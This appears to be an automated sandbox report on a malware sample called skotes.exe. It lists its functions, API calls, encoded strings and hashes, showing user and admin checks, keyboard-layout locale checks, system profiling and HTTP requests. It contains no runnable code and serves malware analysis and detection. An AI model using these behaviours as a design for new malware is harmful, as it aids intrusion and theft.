Opcode Fuzzy Hash: 6202bdfdb5770ea946800c78cd8ea731ca40aa09cdf17d07ebd0c2e6249b1ab2
Instruction Fuzzy Hash: 58F0E9316C1308AF9F34BE7458E597D32975F85364B894129A521AF7C0CF708D069E95

Function 021B6D36 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(02178A07,0000000F,0045FB20,00000000,02178A07,?,021B5421,02178A07,00000001,02178A07,02178A07,?,021B02FC,00000000,?,02178A07), ref: 021B6D4D
GetLastError.KERNEL32(?,021B5421,02178A07,00000001,02178A07,02178A07,?,021B02FC,00000000,?,02178A07,00000000,02178A07,?,021B0850,02178A07), ref: 021B6D59

Part of subcall function 021B6D1F: CloseHandle.KERNEL32(00462970,021B6D69,?,021B5421,02178A07,00000001,02178A07,02178A07,?,021B02FC,00000000,?,02178A07,00000000,02178A07), ref: 021B6D2F

___initconout.LIBCMT ref: 021B6D69

Part of subcall function 021B6CE1: CreateFileW.KERNEL32(00457658,40000000,00000003,00000000,00000003,00000000,00000000,021B6D10,021B540E,02178A07,?,021B02FC,00000000,?,02178A07,00000000), ref: 021B6CF4

WriteConsoleW.KERNEL32(02178A07,0000000F,0045FB20,00000000,?,021B5421,02178A07,00000001,02178A07,02178A07,?,021B02FC,00000000,?,02178A07,00000000), ref: 021B6D7E

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction ID: fabb813b4ec9181f979cc0da53a212672284a7389da8821d132526935654c5cc
Opcode Fuzzy Hash: 68f8837eb1d4a2712d10f3c5b8a7bf099e143a904c0dfdbb60282304a99716f4
Instruction Fuzzy Hash: 93F0F836141298BBCF621FA6AC08A893E2AEF493A1F104021FA1C85120D772C820DB95

Function 02177A17 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 02177CE0

Strings

runas, xrefs: 0217756A

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: b12352c27eb35c7801b30b77c84677b55ae88f5f3268c2bda28ff34a47bf5de4
Instruction ID: 583ae44c570c144558209a104469aad8f7e8f5f3ec8df27e7f118f85adf5f41b
Opcode Fuzzy Hash: b12352c27eb35c7801b30b77c84677b55ae88f5f3268c2bda28ff34a47bf5de4
Instruction Fuzzy Hash: ECE13971A40248AFEB08EB78CD85B9DBB739F81704F60865CE411AB3C5DB759A418F92

Function 021AE717 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 021AE4C0: GetOEMCP.KERNEL32(00000000,021AE732,?,?,021A78C8,021A78C8,?), ref: 021AE4EB

_free.LIBCMT ref: 021AE78F

Strings

@"F, xrefs: 021AE7B7

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID: @"F
API String ID: 269201875-3084318295
Opcode ID: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction ID: 904936811325eb21e7156f24f8cd4c379015ea6ce6c9f5991456461a8b2be1ad
Opcode Fuzzy Hash: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction Fuzzy Hash: AD31C279900249AFCB11DFA8C8A0B9E7BF5FF44314F1544BAE9109B2A0EB719950CF90

Function 021AA995 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021AA9E5
_free.LIBCMT ref: 021AAA19

Strings

x!F, xrefs: 021AAA0C

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID: x!F
API String ID: 269201875-3062043068
Opcode ID: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction ID: f9bedc48e1f82012ce7355e0dcc632a69d4f758ef70416d2f55481ff8f044da5
Opcode Fuzzy Hash: db21be25886df150d1c6f332858b9cadf02cf268a657b562b65237ce8408447b
Instruction Fuzzy Hash: E901D43D5DDA307ED63536786E30ABA12B96F02B38F160321F925A50F0EBA38915C5D5

Function 0218D378 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00465750), ref: 0218D383
RtlLeaveCriticalSection.NTDLL(00465750), ref: 0218D3C0

Strings

PWF, xrefs: 0218D37D

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: PWF
API String ID: 3168844106-4189640852
Opcode ID: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction ID: 4d63040365e6adfb60cd50e9d6012cd7cf86f841a7000dd1c29fe3852255e0da
Opcode Fuzzy Hash: aa3b7ebb98d861874e14c42a3fd8d5994544321a17c487eeef023a4b97522d77
Instruction Fuzzy Hash: A8F08235540701DFC3147F24E984A2677A5EB45735F10022DEE55476E0DB715842CE56

Function 021925B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0219255C
Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 02192572

Part of subcall function 02192A99: Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 02192AA8
Part of subcall function 02192A99: Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 02192ABC
Part of subcall function 02192A99: Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 02192ADD
Part of subcall function 02192A99: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 02192B46
Part of subcall function 02192A99: Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 02192CB4

Strings

p[F, xrefs: 0219256A

Memory Dump Source

Source File: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Offset: 02170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Information$AffinityTopology$AcquireApplyCaptureCleanupConcurrency::details::_H_prolog3Lock::_ProcessReentrantRestrictionsRetrieveSystemVersion
String ID: p[F
API String ID: 3302332639-1832964472
Opcode ID: 84bf9b1e625644d46c927a665ec91d8dc20bfdb3b0587f4fa2234934793136a5
Instruction ID: 0de47d761a580a885f091ab1f14eb7af1e5681eef074fcc67b50a7f19122ef3f
Opcode Fuzzy Hash: 84bf9b1e625644d46c927a665ec91d8dc20bfdb3b0587f4fa2234934793136a5
Instruction Fuzzy Hash: 48E04874740601EBEF20FB75F97076933A5AB0CB41F800429D504CF250E775E4008F19

Analysis Process: skotes.exePID: 1488, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	4.2%
Signature Coverage:	0%
Total number of Nodes:	884
Total number of Limit Nodes:	45

Executed Functions

Function 0040E530 Relevance: 32.5, APIs: 6, Strings: 12, Instructions: 992
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTs=, xrefs: 004105CA
MQ==, xrefs: 0040E592
111, xrefs: 0040F7A0
WTw=, xrefs: 0041097D
L1F, xrefs: 0040F7E5
MGE+, xrefs: 0040E821
WDw=, xrefs: 0040F71D, 0040F9FA
9c9aa5, xrefs: 0040FB8E
246122658369, xrefs: 0040F737, 0040FA14, 004105E7, 0041099A
UA==, xrefs: 0040EB0F, 0040ED56
GnNoc2Hc, xrefs: 0040E56C
#, xrefs: 00410624

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1F$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2926265604
Opcode ID: 426d9788ca16a23a6facdfbd94b949207d28870cf9fc2e2172fd233b1d046d74
Instruction ID: 65779ac6005c898698e037a0c1c56422f5b0cc6d1c66e7942cae940dc5a342c6
Opcode Fuzzy Hash: 426d9788ca16a23a6facdfbd94b949207d28870cf9fc2e2172fd233b1d046d74
Instruction Fuzzy Hash: F082D5709042889BEF14EF68C9497CE7FB1AF46308F50859EE805673C2D7795A88CBD6

Function 0040EB4E Relevance: 42.4, APIs: 8, Strings: 15, Instructions: 2123
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040EB51
CreateDirectoryA.KERNELBASE(00000000), ref: 0040EC83
GetFileAttributesA.KERNELBASE(00000000), ref: 0040ED98
CreateThread.KERNEL32(00000000,00000000,0040E500,00000000,00000000,00000000), ref: 0040F809

Strings

111, xrefs: 0040F7A0
FCQgKF==, xrefs: 0040FEE4
WDw=, xrefs: 0040F71D, 0040F9FA, 0040FDE3
FisgLnsCZO1i, xrefs: 0040FF19
stoi argument out of range, xrefs: 004108C4
UA==, xrefs: 0040EC41, 0040ED56, 0040EF89, 0040F2CE
#, xrefs: 00410624
WTs=, xrefs: 004105CA
GiQaT29tduF=, xrefs: 0040FEB6
H4q, xrefs: 0040FF70
invalid stoi argument, xrefs: 004108B0
L1F, xrefs: 0040F7E5
246122658369, xrefs: 0040F737, 0040FA14, 0040FE00, 004105E7
9c9aa5, xrefs: 0040FB8E
mxo1L0x, xrefs: 0040EE84

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFile$DirectoryThread
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$H4q$L1F$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 3544085614-3998556978
Opcode ID: a521fbbcd20131e87f5689a46f0e9373613f0a7f33a26bc55964b8857b6dc86d
Instruction ID: 61599b495f3986900b3d5f42d0d31f1f7c1f451fd5ba627810d148a1899a7283
Opcode Fuzzy Hash: a521fbbcd20131e87f5689a46f0e9373613f0a7f33a26bc55964b8857b6dc86d
Instruction Fuzzy Hash: 9BF25E71A001449BEF18DB38CD897DD7B729F82304F1481AEE409A73D6DB7D9AC48B99

Function 00414FC0 Relevance: 40.3, APIs: 4, Strings: 18, Instructions: 1838COMMON

Download Yara Rule

APIs

Part of subcall function 004065E0: GetUserNameA.ADVAPI32(?,?), ref: 0040663A
Part of subcall function 004065E0: LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00406680
Part of subcall function 004065E0: GetSidIdentifierAuthority.ADVAPI32(?), ref: 0040668D

IsUserAnAdmin.SHELL32 ref: 00415117
GetUserNameA.ADVAPI32(?,?), ref: 004151A7
GetComputerNameExW.KERNEL32(00000002,?,?,?,?), ref: 0041520B
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,?), ref: 004153B7

Part of subcall function 00417A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00417AF8
Part of subcall function 00417A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00417B01

Strings

WGS0, xrefs: 00415533
VXQ0, xrefs: 0041550A
jS=, xrefs: 00416513, 004167E2
Vmc0, xrefs: 004155D7
9250, xrefs: 004154AD
8WI0, xrefs: 00415692
93E0, xrefs: 00415600
VXA0, xrefs: 004155AE
GE0, xrefs: 00415585
p;q, xrefs: 00415160
2I0, xrefs: 00415627
KCWUOl==, xrefs: 00415649
aWW0, xrefs: 0041555C
anE0, xrefs: 0041566B
9c9aa5, xrefs: 00415619
246122658369, xrefs: 0041502A, 0041503D, 0041507F, 00415089, 00415684
p4q, xrefs: 00415144
9HQ0, xrefs: 004154E1

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Name$User$AccountAdminAuthorityCnd_destroy_in_situComputerFileIdentifierLookupModuleMtx_destroy_in_situ
String ID: 2I0$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$KCWUOl==$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$p4q$p;q
API String ID: 2186296352-4036729595
Opcode ID: d0ad94509498918fff561da56a017b53fc9c3dc2d6e89598b501c5cf19925bac
Instruction ID: 1d10f1410e092f9b71bd66b141e4927ff13a770163cf0c262429eb76f9f18c37
Opcode Fuzzy Hash: d0ad94509498918fff561da56a017b53fc9c3dc2d6e89598b501c5cf19925bac
Instruction Fuzzy Hash: 0BF21671A001548BEB29DB28CE897DDBB769F82304F5481DDD048A72C2EB799FC48F59

Function 0040BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 306
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,708790F9,?,00000000), ref: 0040BEB8
InternetOpenW.WININET(00458DC8,00000000,00000000,00000000,00000000), ref: 0040BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0040BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0040BF35
HttpSendRequestA.WININET(?,00000000), ref: 0040BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0040C0A7
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 0040C160
InternetCloseHandle.WININET(?), ref: 0040C187
InternetCloseHandle.WININET(?), ref: 0040C18F
InternetCloseHandle.WININET(?), ref: 0040C197

Strings

RE1NXF==, xrefs: 0040BF0E
invalid stoi argument, xrefs: 0040E4F4
stoi argument out of range, xrefs: 0040E4EA
8HJUeIfzLo==, xrefs: 0040C3CB, 0040C623
8HJUeMD Lq5=, xrefs: 0040C465

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 1427ac73b846b57d83f712b19f3c9b795b27e0c63bcdc63216294c063ef4b5d9
Instruction ID: 66a695ebc86e665ea6ba1adc167e16cc6fb7ba887d0da437c53a8f917e93c7b1
Opcode Fuzzy Hash: 1427ac73b846b57d83f712b19f3c9b795b27e0c63bcdc63216294c063ef4b5d9
Instruction Fuzzy Hash: EAB1B2B0A10118DBDB24CF28CC88B9E7B75EF45304F5042AEF909A72D1D7789AC4CB99

Function 00407D30 Relevance: 19.7, APIs: 5, Strings: 6, Instructions: 422
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,708790F9), ref: 00407DAA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407E0B
GetProcAddress.KERNEL32(00000000), ref: 00407E12
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407ED3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407ED7

Strings

JjsrQV==, xrefs: 00408092
JjssOl==, xrefs: 0040813A
JjsrPl==, xrefs: 0040828A
`p, xrefs: 00407F75, 0040805A, 00408102, 004081AA, 00408252
JjssPV==, xrefs: 004081E2
X3q, xrefs: 0040803B, 004080E3, 0040818B, 00408233

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$X3q$`p
API String ID: 374719553-878134974
Opcode ID: b4e34bd88424f385986ccb2c1884bf1b94988266c29017f5ac825074d378a784
Instruction ID: d767b28cf4d1304312a0b4bfeaf627bf696c138522586543ff54ff165ce39ac5
Opcode Fuzzy Hash: b4e34bd88424f385986ccb2c1884bf1b94988266c29017f5ac825074d378a784
Instruction Fuzzy Hash: B4E10A70E00654A7DB14BB28CD0B39E7671AB82714F5442AEE815773C2DB7D4E858BCB

Function 00405EE0 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 334
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,000F003F,00000001), ref: 00405F13
RegCloseKey.ADVAPI32(80000001), ref: 00405F4A

Strings

0000043f, xrefs: 0040612B
Keyboard Layout\Preload, xrefs: 00406054
00000422, xrefs: 004060C9
00000419, xrefs: 00406098
00000423, xrefs: 004060FA

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 47109696-3963862150
Opcode ID: c0022d9b75f536e3f42cf04b95f6f16c0f3d5fbfa78b103d563490b1c6eaaf2d
Instruction ID: 3e75f403df9a9ad162f6256be2dff185f15a5583bc7f4b7e98941bc5bb1d550f
Opcode Fuzzy Hash: c0022d9b75f536e3f42cf04b95f6f16c0f3d5fbfa78b103d563490b1c6eaaf2d
Instruction Fuzzy Hash: 29D1A071900258ABDB24DF14CC85BDEB7B9EF05304F5042EAE509E72D1DB789AE88F58

Function 00441ABC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00441775: CreateFileW.KERNELBASE(00000000,00000000,?,00441B65,?,?,00000000,?,00441B65,00000000,0000000C), ref: 00441792

GetLastError.KERNEL32 ref: 00441BD0
__dosmaperr.LIBCMT ref: 00441BD7
GetFileType.KERNELBASE(00000000), ref: 00441BE3
GetLastError.KERNEL32 ref: 00441BED
__dosmaperr.LIBCMT ref: 00441BF6
CloseHandle.KERNEL32(00000000), ref: 00441C16
CloseHandle.KERNEL32(0043AC92), ref: 00441D63
GetLastError.KERNEL32 ref: 00441D95
__dosmaperr.LIBCMT ref: 00441D9C

Strings

H, xrefs: 00441D21

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 7ca2874191f465d34c79337ae684450c2280b7d624904165f7af79825262e3a6
Instruction ID: 908140145710097c147751781d0df85f7731599b948b663735adbecd062618f5
Opcode Fuzzy Hash: 7ca2874191f465d34c79337ae684450c2280b7d624904165f7af79825262e3a6
Instruction Fuzzy Hash: 20A13972A041489FDF19DF68DC91BAE3BB1EB0A324F14015EE811EB3E1D7389942CB59

Function 00442517 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 373
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00442599
_free.LIBCMT ref: 004425BD
_free.LIBCMT ref: 0044274A
GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,00456758), ref: 0044275C
_free.LIBCMT ref: 00442916

Strings

Eastern Summer Time, xrefs: 004427FA
Eastern Standard Time, xrefs: 004427CB
XgE, xrefs: 00442705, 0044270B

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$XgE
API String ID: 597776487-3532857169
Opcode ID: d856579218538fd04bbb565ecd9691cbd98b5e949d232d9bad808dfef98568af
Instruction ID: df7d7efe0813b1fc9665f027b9df2e4c66d539f3229410abaef311319f10ac1b
Opcode Fuzzy Hash: d856579218538fd04bbb565ecd9691cbd98b5e949d232d9bad808dfef98568af
Instruction Fuzzy Hash: 4AC14B71900205ABFB10AF69CE517AFBBA9EF45354F9500AFF88097391E7B88E41C758

Function 004065E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040663A
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00406680
GetSidIdentifierAuthority.ADVAPI32(?), ref: 0040668D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004067A1
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 004067C8

Strings

ISNmfV==, xrefs: 004067D1
RySfdMLx, xrefs: 0040669C
GSTmfV==, xrefs: 00406728

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Authority$Name$AccountCountIdentifierLookupUser
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 4230999276-2309319047
Opcode ID: 5b9cb0ec596235d55a0374935ea4ba4a3dc15d7e65b7ab62b683b660989a08c7
Instruction ID: fce242e848c23d48bc2af3d62d8903954cced83d6e4b57403525f3fbbb18cdf3
Opcode Fuzzy Hash: 5b9cb0ec596235d55a0374935ea4ba4a3dc15d7e65b7ab62b683b660989a08c7
Instruction Fuzzy Hash: 1991C5B19001189BDB28DF68CC85BDDB779EB45304F5045FEE509A7282DB749BC48F68

Function 0040B9F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 130
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040BA57
CoCreateInstance.COMBASE(00458F80,00000000,00000001,00458F90,?), ref: 0040BA73
CoUninitialize.COMBASE ref: 0040BA81
CoUninitialize.COMBASE ref: 0040BB40
CoUninitialize.COMBASE ref: 0040BB54

Strings

RE1NXF==, xrefs: 0040BF0E
8HJUeIfzLo==, xrefs: 0040C3CB, 0040C623
8HJUeMD Lq5=, xrefs: 0040C465

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==
API String ID: 1968832861-3795060574
Opcode ID: b12c53546586ca1363a4f126f5e0369a2efa9c5f3e076ebad6d92b548045a957
Instruction ID: aa5973b7119725b2c9a958bba5187bd3a29cec50dc0543cd5e4a1e68f5f3e6b5
Opcode Fuzzy Hash: b12c53546586ca1363a4f126f5e0369a2efa9c5f3e076ebad6d92b548045a957
Instruction Fuzzy Hash: 82416171B00204AFDB04CF68CC89BAE77B5EB48715F10812AF805E76D5DB78A944CB99

Function 0062003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0062024D

Strings

cess, xrefs: 0062018D
kernel32.dll, xrefs: 0062008F, 00620095

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 42ec4702e70d4e90e99a8a4f860a1c510c2e99c0fd791167ea9c40f41969c617
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: FB526874A01229DFDB64CF58D985BA8BBB1BF09304F1480D9E94DAB352DB30AE85DF14

Function 004426F2 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 171
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,00456758), ref: 0044275C
_free.LIBCMT ref: 0044274A

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 00442916

Strings

Eastern Summer Time, xrefs: 004427FA
Eastern Standard Time, xrefs: 004427CB
XgE, xrefs: 00442705, 0044270B

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
